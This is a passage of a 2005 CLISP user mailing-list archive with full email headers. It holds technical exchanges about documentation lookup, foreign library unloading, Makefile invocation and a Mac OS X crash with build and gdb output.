9 packages ZLIB, LDAP, READLINE, POSIX, FFI, CS-COMMON-LISP-USER, SCREEN, COMMON-LISP-USER, SYSTEM. NIL is the empty list, the symbol NIL, lies in #, is accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, a constant, value: NIL, names a type, has 3 properties SYSTEM::DOC, SYSTEM::INSTRUCTION, SYSTEM::TYPE-SYMBOL ;; SYSTEM::GET-CLHS-MAP(#)...978/978 symbols .;; starting the default system browser with url "C:/CL/doc/HyperSpec/Body/a_nil.htm"...done ;; starting the default system browser with url "http://www.podval.org/~sds/clisp/impnotes/exporting" ...done For more information, evaluate (SYMBOL-PLIST 'NIL). # is the package named COMMON-LISP. It has 2 nicknames LISP, CL. It imports the external symbols of 1 package CLOS and exports 978 symbols to 16 packages ASDF, MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM. NIL [see above] Documentation: CLHS: "Body/a_nil.htm" SYSTEM::IMPNOTES: "exporting" And my browser load "file:///C:/CL/doc/HyperSpec/Body/a_nil.htm" and next in that window load "http://www.podval.org/~sds/clisp/impnotes/exporting" and show: Not Found The requested URL /~sds/clisp/impnotes/exporting was not found on this server. ------------------------------------------------------------------------ Apache/2.0.54 (Fedora) Server at www.podval.org Port 80 Thanks! -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Sat Nov 19 06:11:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdTR4-00065t-6W for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 06:11:22 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EdTR3-000615-2r for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 06:11:22 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EdTQ5-000837-W3 for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 15:10:22 +0100 Received: from 219.239.98.202 ([219.239.98.202]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 19 Nov 2005 15:10:21 +0100 Received: from hopexy by 219.239.98.202 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 19 Nov 2005 15:10:21 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: xu yong Lines: 13 Message-ID: References: <38b3aaee0511180840x311c30ceh@mail.gmail.com> <200511181706.jAIH6SI5013828@grant.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 219.239.98.202 (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 06:12:05 2005 X-Original-Date: Sat, 19 Nov 2005 14:02:15 +0000 (UTC) Surendra Singhi netscape.net> writes: > But things do work alright, close-foreign-library really unloads the > library. I guess, this invalid pointer might be address of the handle or > something which is used by clisp to keep track of the library. > the complete message after (close-foreign-library "user32.dll") is # How do you confirm that the library really unloaded? Is there any tool to check that? From lisp-clisp-list@m.gmane.org Sat Nov 19 13:41:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdaSP-0005Ie-6C for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 13:41:13 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EdaSN-0004C8-OH for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 13:41:13 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EdaRL-0008Jn-Uu for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 22:40:08 +0100 Received: from c-24-118-118-61.hsd1.mn.comcast.net ([24.118.118.61]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 19 Nov 2005 22:40:07 +0100 Received: from bruce_lester by c-24-118-118-61.hsd1.mn.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 19 Nov 2005 22:40:07 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Bruce Lester Lines: 7 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 24.118.118.61 (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Read/write bytes to windows xp parallel port from/to clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 13:42:03 2005 X-Original-Date: Sat, 19 Nov 2005 21:26:52 +0000 (UTC) What is the best way to go about getting information on how to to call win32 COM objects from/to Clisp? I am interested in reading/writing bytes to the parallel port in a windows xp environment. Thanks! From sds@gnu.org Sat Nov 19 16:05:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Edci0-0001dI-IH for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:05:28 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Edchx-0008IH-6v for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:05:28 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Nov 2005 19:05:18 -0500 X-IronPort-AV: i="3.97,351,1125892800"; d="scan'208"; a="129565405:sNHT14804194364" To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511190600.jAJ607P29849@localhost.localdomain> (root's message of "Sat, 19 Nov 2005 01:00:07 -0500") References: <200511190600.jAJ607P29849@localhost.localdomain> Mail-Followup-To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: infinite loop from Makefile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 16:06:00 2005 X-Original-Date: Sat, 19 Nov 2005 19:04:09 -0500 > * root [2005-11-19 01:00:07 -0500]: >I'm testing axiom under a variety of common lisps. The Makefile >I use does the following: @-echo (load "bookvol5.lisp") | clisp >I suggest this instead: clisp bookvol5 If I get an error, e.g. >** - Continuable Error FUNCALL: undefined function foo If you >continue (by typing 'continue): Retry The following restarts are >also available: STORE-VALUE :R1 USE-VALUE :R2 clisp >continues in an infinite loop forcing me to kill the shell and I >lose all of the output. I think you have an old version of >clisp. http://clisp.cons.org/impnotes/faq.html#faq-bugs >http://clisp.cons.org/impnotes/clisp.html#bugs How can I invoke >clisp from a Makefile without entering an infinite loop? clisp >-on-error debug fooo.lisp the above will give your a lisp prompt >on error. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.dhimmi.com/ http://www.mideasttruth.com/ http://www.openvotingconsortium.org/ http://www.jihadwatch.org/ Hard work has a future payoff. Laziness pays off NOW. From sds@gnu.org Sat Nov 19 16:11:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Edcnz-0001su-KE for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:11:39 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Edcny-0002z5-5v for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:11:39 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Nov 2005 19:11:37 -0500 X-IronPort-AV: i="3.97,351,1125892800"; d="scan'208"; a="129568981:sNHT23017778" To: clisp-list@lists.sourceforge.net, xu yong Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (xu yong's message of "Sat, 19 Nov 2005 14:02:15 +0000 (UTC)") References: <38b3aaee0511180840x311c30ceh@mail.gmail.com> <200511181706.jAIH6SI5013828@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, xu yong Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 16:12:02 2005 X-Original-Date: Sat, 19 Nov 2005 19:10:27 -0500 > * xu yong [2005-11-19 14:02:15 +0000]: >Surendra Singhi netscape.net> writes: > But >things do work alright, close-foreign-library really unloads the >> library. I guess, this invalid pointer might be address of the >handle or > something which is used by clisp to keep track of the >library. > the complete message after (close-foreign-library >"user32.dll") is # this is >the return value. "INVALID" means that the library handle has >indeed been closed and therefore now it is invalid. How do you >confirm that the library really unloaded? try to rename or >remove the dll file. win32 will not allow that if any program is >using the dll, so if some other program is still using it, you >won;t be able to do that even when clisp has closed the handle. >Is there any tool to check that? why do you need to check that? >the only reason this close-foreign-library function exists at all >is so that you can replace the library with a newer version >without having to restart clisp. if you are opening a system >library, there is no reason to close it. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://truepeace.org http://www.memri.org/ http://www.jihadwatch.org/ http://www.dhimmi.com/ What garlic is to food, insanity is to art. From sds@gnu.org Sat Nov 19 16:13:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdcpI-0001vI-FS for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:13:00 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdcpG-00039g-14 for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:13:00 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Nov 2005 19:12:55 -0500 X-IronPort-AV: i="3.97,351,1125892800"; d="scan'208"; a="129569766:sNHT21465104" To: clisp-list@lists.sourceforge.net, Bruce Lester Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Bruce Lester's message of "Sat, 19 Nov 2005 21:26:52 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruce Lester Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Read/write bytes to windows xp parallel port from/to clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 16:14:01 2005 X-Original-Date: Sat, 19 Nov 2005 19:11:46 -0500 > * Bruce Lester [2005-11-19 21:26:52 >+0000]: What is the best way to go about getting information on >how to to call win32 COM objects from/to Clisp? >http://clisp.cons.org/impnotes/dffi.html >http://clisp.cons.org/impnotes/modules.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://www.savegushkatif.org http://ffii.org/ http://www.palestinefacts.org/ http://www.camera.org When we break the law, they fine us, when we comply, they tax us. From sds@gnu.org Sat Nov 19 16:35:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EddBF-0002kI-6P for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:35:41 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EddBC-0005Px-SA for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 16:35:41 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Nov 2005 19:35:38 -0500 X-IronPort-AV: i="3.97,351,1125892800"; d="scan'208"; a="129580237:sNHT2551692732" To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> (Johan Liseborn's message of "Fri, 18 Nov 2005 22:55:46 +0100") References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; format=flowed X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 16:36:02 2005 X-Original-Date: Sat, 19 Nov 2005 19:34:27 -0500 > * Johan Liseborn [2005-11-18 22:55:46 >+0100]: (it seems regexp is now built by default, is that >correct?) yes. >http://clisp.cons.org/impnotes/modules.html#base-modules Thread >0 Crashed: 0 lisp.run 0x0006f8b4 closed_buffered + 48 >(crt.c:355) 1 lisp.run 0x0007850c closed_all_files + 108 >(crt.c:355) 2 lisp.run 0x000289ac loadmem_from_handle + >3168 (crt.c:355) 3 lisp.run 0x00028c68 loadmem + 128 >(crt.c:355) 4 lisp.run 0x00029058 init_memory + 888 >(crt.c:355) 5 lisp.run 0x0002b610 main + 3940 (crt.c:355) >6 lisp.run 0x00002878 _start + 340 (crt.c:272) 7 lisp.run >0x00002720 start + 60 weird. closed_buffered does not really do >much. could you please configure with debug and see under gdb >what is going on? > -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://pmw.org.il/ http://www.jihadwatch.org/ http://www.camera.org http://truepeace.org http://www.palestinefacts.org/ If brute force does not work, you are not using enough. From damyanp@gmail.com Sat Nov 19 17:24:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eddwo-0004uF-67 for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 17:24:50 -0800 Received: from wproxy.gmail.com ([64.233.184.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eddwm-0006qH-HD for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 17:24:50 -0800 Received: by wproxy.gmail.com with SMTP id 68so263512wri for ; Sat, 19 Nov 2005 17:24:36 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=dwiXU11x1/g/RMFK4KVPp+MGP2Qt7RHVTcgnGLlnrABmfBJjNOFxEJ5yOmAzcWAr+cS+gD2XF8ni/usVxpnxhiriQGz8h8joIb/KVlEVwj0UGuraDzDBBXN4tlvNFQcKMFOVLzf88W/0v0ScxjuBv2kxzBN+u9507VJJIHktKI4= Received: by 10.54.110.18 with SMTP id i18mr447345wrc; Sat, 19 Nov 2005 17:24:36 -0800 (PST) Received: by 10.54.72.3 with HTTP; Sat, 19 Nov 2005 17:24:36 -0800 (PST) Message-ID: <8a1fbbcb0511191724i7f982c92t2a4254ff4b4e1d2e@mail.gmail.com> From: Damyan Pepper To: xu yong Subject: Re: [clisp-list] Re: about ffi:close-foreign-library Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <38b3aaee0511180840x311c30ceh@mail.gmail.com> <200511181706.jAIH6SI5013828@grant.org> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 17:25:32 2005 X-Original-Date: Sun, 20 Nov 2005 12:24:36 +1100 On 11/20/05, xu yong wrote: > How do you confirm that the library really unloaded? Is there any tool > to check that? I've found that sysinternals' process explorer is a good utility for finding out which DLLs are currently mapped into a particular process: http://www.sysinternals.com/Utilities/ProcessExplorer.html From sds@gnu.org Sat Nov 19 17:51:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EdeMT-0006z0-9k for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 17:51:21 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EdeMR-0006GM-2b for clisp-list@lists.sourceforge.net; Sat, 19 Nov 2005 17:51:21 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 19 Nov 2005 20:51:19 -0500 X-IronPort-AV: i="3.97,351,1125892800"; d="scan'208"; a="129628375:sNHT23737588" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <437F1EA6.20603@tut.by> (Yaroslav Kavenchuk's message of "Sat, 19 Nov 2005 14:46:30 +0200") References: <437E3102.3050103@tut.by> <1132348204.15869.13.camel@cslabpc6.evansville.edu> <437F1EA6.20603@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: heads up - on-line docs, pre-test etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 19 17:52:02 2005 X-Original-Date: Sat, 19 Nov 2005 20:50:08 -0500 > * Yaroslav Kavenchuk [2005-11-19 14:46:30 >+0200]: > NIL [see above] > > Documentation: > CLHS: > >"Body/any_nil.html" > SYSTEM::IMPNOTES: > "exporting" fixed. >>My browser loads http://www.lisp.org/HyperSpec/Body/any_nil.html >and >http://www.podval.org/~sds/clisp/impnotes/exporting (a 404), >which is >strange. should be fixed now. thanks for trying out >this new feature - and please do try it again! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.savegushkatif.org http://pmw.org.il/ http://www.jihadwatch.org/ http://www.palestinefacts.org/ http://ffii.org/ Illiterate? Write today, for free help! From johan@liseborn.se Sun Nov 20 08:26:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eds1W-00056r-W7 for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 08:26:38 -0800 Received: from argv.frobbit.se ([195.66.31.72] helo=frobbit.se) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eds1S-0007QP-52 for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 08:26:38 -0800 Received: from [81.216.231.238] (account mjl@liseborn.se HELO [192.168.30.39]) by frobbit.se (CommuniGate Pro SMTP 4.3.6) with ESMTPA id 2967367 for clisp-list@lists.sourceforge.net; Sun, 20 Nov 2005 17:26:17 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <807B7660-DB82-43E2-807E-F4B0A90FC124@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <5307CCE8-116C-491D-8EBF-B92ACEFE3A32@liseborn.se> Content-Transfer-Encoding: 7bit From: Johan Liseborn To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: CVS head - Crash dump on Mac OS X 10.4.3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 20 08:27:00 2005 X-Original-Date: Sun, 20 Nov 2005 17:26:15 +0100 On Nov 20, 2005, at 01:34, Sam Steingold wrote: >> * Johan Liseborn [2005-11-18 22:55:46 +0100]: >> (it seems regexp is now built by default, is that correct?) yes. >> http://clisp.cons.org/impnotes/modules.html#base-modules Sorry, I temporarily confused "regexp" with "pcre". >> Thread 0 Crashed: 0 lisp.run 0x0006f8b4 closed_buffered + 48 >> (crt.c:355) 1 lisp.run 0x0007850c closed_all_files + 108 (crt.c: >> 355) 2 lisp.run 0x000289ac loadmem_from_handle + 3168 (crt.c: >> 355) 3 lisp.run 0x00028c68 loadmem + 128 (crt.c:355) 4 >> lisp.run 0x00029058 init_memory + 888 (crt.c:355) 5 lisp.run >> 0x0002b610 main + 3940 (crt.c:355) 6 lisp.run 0x00002878 _start >> + 340 (crt.c:272) 7 lisp.run 0x00002720 start + 60 weird. >> closed_buffered does not really do much. could you please >> configure with debug and see under gdb what is going on? > clisp.cons.org/impnotes/faq.html#faq-debug> Hmm, I get somewhat confusing results, and I am unsure how to interpret them. I provide details below, but the summary seems to be that if I build with debug support, I *don't* get crash dumps (i.e. the builds seems to work the way they should), while building without debug support yields crash dumps. I have performed my tests both with and without the RAWSOCK module (as I had that one included in the original report). Background ---------- Johans-Computer:~/work/clisp-current/build-g mjl$ uname -a Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon Oct 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power Macintosh powerpc Johans-Computer:~/work/clisp-current/build-g mjl$ gcc --version powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc. build 5247) Johans-Computer:~/work/clisp-current mjl$ gdb --version GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov 2 17:28:16 GMT 2005) I am using libsigsegv 2.1 from the Darwin Ports project (this is why I use "--prefix=/opt/local" below, that's where the Darwin Ports stuff is installed). RAWSOCK without debug --------------------- This version of CLISP generates a crash dump (as described in an earlier mail). Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ opt/local --with-module=rawsock --build ../build-rawsock RAWSOCK with debug ------------------ This version of CLISP does *not* generate a crash dump when I run it *without* using GDB (neither using "clisp", nor "clisp -K full"). Johans-Computer:~/work/clisp-current/clisp mjl$ ./configure --prefix=/ opt/local --with-debug --with-module=rawsock --build ../build-g Johans-Computer:~/work/clisp-current/build-g mjl$ gdb lisp.run GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov 2 17:28:16 GMT 2005) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin"...Reading symbols for shared libraries ....... done Breakpoint 1 at 0x42ee4: 